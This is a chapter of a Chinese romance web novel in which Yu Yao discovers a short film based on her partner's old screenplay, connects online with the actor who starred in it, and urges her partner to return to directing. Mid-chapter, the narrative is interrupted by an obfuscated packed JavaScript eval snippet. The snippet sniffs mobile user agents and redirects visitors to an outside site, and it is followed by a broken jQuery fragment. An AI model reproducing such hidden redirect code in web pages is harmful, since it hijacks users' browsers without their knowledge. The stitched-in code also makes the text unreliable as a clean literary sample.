年后回到北京，各个项目汇报进展，喻谣又去灵犀文化待了几天，从早到晚的会议。


    公司线上平台更新，会上负责人做了详细展示，其中一个新模块吸引了喻谣的注意，该模块按照讨论活跃度排序，对过往通过平台资源众筹拍摄出的短片进行二次推广。


    准确来说，是这个模块里一闪而过的一部片子喻谣一眼就看到了，会后她自己重新翻阅，确认当时并没有看错。


    当年周昀霁卖出的第一个剧本，《我独自走入冬夜》，被国内一家影视制作公司买去版权，后来那家公司经营不善，濒临倒闭，时值灵犀文化搭建资源库初期，在市场搜罗，低价买入大量版权，其中竟也阴差阳错包含了这一部。


    之后这部短片依托灵犀被拍摄出来，启用的都是新人导演和新人演员，剧本质量过硬，在网上引起过小范围讨论。


    喻谣点开来看，因为新模块上线推流，评论区有很多最近新增的互动。有人感慨自己看的感动落泪，有人惋惜新人小演员演技真好这么多年怎么没有熬出头来，更多的人是控诉剧本的悲惨结局不合逻辑。


    用评论里的话来说就是，为了制造悲剧而强行悲剧。


    喻谣表示理解，毕竟自己当年第一次听周昀霁讲起这个故事的时候也对结局颇有微词，在所有事物都在向好的方向发展的时候，故事突然在主角做出与观众预期截然相反的决定之后戛然而止。


    不符合观众预期，就注定告别市场主流。


    如此想来，喻谣猜想就算周昀霁一直拍电影至今，以他对自己作品的执拗程度，估计也很难适应商业市场的要求，不知道这样的处境对于创作者来说是不是也难免痛苦，也许现在的一切都是最好的安排。


    这天回家的时候，周昀霁正在厨房大展神威。


    喻谣一推开家门差点香晕过去，连正装都来不及换就冲去厨房，看到一盘清蒸东星斑刚刚出锅。


    “正好正好”，喻谣下班之后给周昀霁发过消息，他卡着时间把鱼下锅，为了让她能在最佳赏味期尝到第一口鱼肉，“我今天研究出的新调味比例，你快来尝尝。”


    说着他夹起一瓣鱼肉，小心吹温，然后一只手接着送到喻谣嘴中。


    喻谣中午吃的外卖，准确说忙着分析数据也没吃几口，正饿的不行，受了一天委屈的肚子瞬间从地狱飞升天堂，鲜的她眉毛都要掉了。


    她干脆拿过筷子，自己站在灶边吃了起来。


    “你慢点，烫不烫。”周昀霁笑她没出息的样子，心里却觉得慢慢被什么东西塞满了。


    如果说过去数年他一直找寻生存意义无果，那么在此刻他才逐渐意识到，是他独行探索的方式从一开始就出现了偏差，被需要才是他能够有足够能量对抗荒谬人生的核心动力。


    此刻喻谣吃着他做的鱼，对他明天会再做什么饭菜的一点点期待，就是他存在的全部意义。


    喻谣边吃也边看他，几块鱼肉下肚，觉得踏实幸福，任何可能打破这一现状的讨论都被她暂时按回肚里。


    但要是说对曾经自信洋溢的周昀霁毫不怀念也是假的，喻谣偶尔还是会试图想要劝说周昀霁重新尝试本行，但一次次被他平静安定的现状止住话语，再后来每当这念头再起的时候，她都会打开灵犀的网站，再看看那部短片，顺便怀念一下两个人曾经天真烂漫的中学时代。


    看得次数多了，她对短片下面的评论都如数家珍，有时候有新的精品评论出现，她还会用小号跟人家交流一番，一来二去她对片子的熟悉程度说不定都要超过创作者周昀霁本人。


    众多评论之中，跟喻谣最聊得来的是一个昵称是“lotus”的账号，话不多，但从他寥寥数语之中能看出见解专业，应该也是影视行业的从业人员，而比较特别的，他对故事的悲情结局表示完全理解。


    喻谣后来干脆跟那人加了网站好友，想着说如果真的是个那么理解创作者的观众，把这事告诉周昀霁他肯定也会很开心的吧，说不定能给他重新开始增添一点勇气与动力？


    跟“lotus”聊了几天，她发现这还不是知音观众这么简单，在lotus的叙述中，这部片子是他之前很长一段时间的精神支柱。


    lotus说他之前也因为受伤在很长一段时间里丧失了一只眼睛的大部分视力，与此同时他也有自己一直求而不得的目标，但是短片中男主角在终于踏上决然的旅程之后，在决定放弃任何追求之后，意外获得了自己想要的一切，lotus说这列火车对他而言就是乌托邦一般的存在，至于结局如何，真的没那么重要了。


    喻谣大为震惊，一部依托网络平台，名不见经传的小小短片，竟然也在地球的某个角落成为某个不相干的人一段人生旅程的支撑。


    她又一次感受到创作的力量比她想象中要再大几分。


    与此同时，那lotus也洞察力惊人，在某天突然对她说：“你是不是认识这个故事的作者？”


    喻谣一惊，“为什么这么说？”


    lotus：“甚至感觉你就是创作者本人。”


    喻谣猜想大概是因为自己对故事太过熟悉，解释道自己不是本人，但确实认识作者。


    lotus跟她说：“我确实非常喜欢这个故事，也对认识作者很感兴趣，如果故事有重新翻拍的计划可以找他。”


    “？”喻谣一时没明白这是什么意思。


    对方直接甩过一张试镜用的演员简历，喻谣半信半疑点开pdf，一张帅脸占据屏幕一角。


    这是...蒋莲时？？？


    简历上的照片突然就与喻谣办公桌对面同事摆满整张桌子的物料上的形象完美重合，这位新人演员两年前在电影圈横空出世，背靠影视集团强劲资源，加之出色外表与浑然天成的演技天赋，以迅雷不及掩耳之势飞升影圈一线。


    这样光彩照人的明星竟然还有这么一段过往？喻谣不由觉得神奇。


    晚上回家跟周昀霁提起，对方先是一愣，然后问道：“什么短片？”


    喻谣这才意识到自己忽略了前因后果，“你还记得吗？你高中时候卖的那个故事？”


    记得倒是记得，但是周昀霁并不知道这个故事现在已经被人拍了出来并且常年挂于互联网之上，喻谣直接打开网站，把笔记本转到周昀霁面前。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16562427|185854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    短片只有不到半个小时，两人很快看完。


    片尾曲播完，周昀霁一时没有说话，喻谣低头时发现不知道什么时候周昀霁的双手都已经微微握拳，以为是看自己创作的故事又引发他什么不好的联想，连忙关掉电脑转移话题，“害，我也就碰巧看到，觉得这事挺神奇的，你别放心上。”


    周昀霁像是这才回神，冲喻谣一笑，“我没事。”


    喻谣不太相信，刚才周昀霁一脸的一言难尽，继续收电脑。


    周昀霁又补充：“我就是...”他面露嫌弃，“觉得这导演拍的够烂的...”


    “......？？”


    喻谣手下一顿，以为周昀霁是对看自己的创作感到不适，没想到他的关注点竟然是在技术层面。


    这短片的导演毕竟是个新人，再说非常经验有天分的导演也不会到平台上去捞剧本来拍。


    但她又转念一想，周昀霁竟然...还是会去思考这些？


    欲言又止一番，周昀霁已经起身开始收拾碗筷，似乎是想就此终结这个话题。


    心里小火苗又一次隐约窜起，喻谣跟着他到厨房，语气试探：“我就说看的时候总觉得哪里不对味，还是你比较专业。”


    “...”周昀霁专心刷碗，不搭腔。


    见他也没打断，喻谣受到一点鼓舞，语气夸张地继续道：“如果是你来拍，蒋莲时来演，难以想象该是多么出色的一部作品。”


    “阿谣”，周昀霁语气平缓，“我明白你意思，但我现在对拍电影什么的，没兴趣了。”


    听不出语气，喻谣没有心急，如果让他难过，那就超出她的本意。


    于是她走上前去，轻轻在背后环抱住周昀霁，头贴在他的后背，用他的心跳声来判断他不愿说出口的情绪起伏。


    “你是觉得这件事没意思了吗？”


    周昀霁沉默片刻，也不打算骗她，“说没意思不准确，是我找不到做他的意义了，如果我去做这件事带来的结果可能是伤害他人，我...我没这个资格去做。”


    喻谣明白他的意思，但坚持自己的观点，“可是蒋莲时说，这部短片在他人生的某个阶段，是支撑他走下去的动力。”


    “......”周昀霁没说话。


    “那在我们没有看到的地方，你的作品可能还在默默影响着更多的人，这件事没有意义吗？”


    周昀霁深呼一口气，“我背负不起对这么多人的影响，就是因为这些影响虚无缥缈又肆意蔓延，我把控不住，任何创作者其实都把控不住，这才是最可怕的。”


    喻谣听到他的心跳依旧平稳，这是他冷静思考下做出的判断，但她觉得这样的观点未免过于悲观，思忖片刻才继续说道：“可是我们是活在跟很多其他人一起组成的世界里，我们不应该因为无法决定他人的看法就封闭自我，这个世界需要我们互相影响。”


    “周昀霁，我想还有很多人和我一样，我们都需要你，我们也构成你。”


    我需要你，我也构成你。


    在喻谣的耳侧，她似乎听到那颗心脏突然打破了规律的节奏，更加有力地跳动了起来。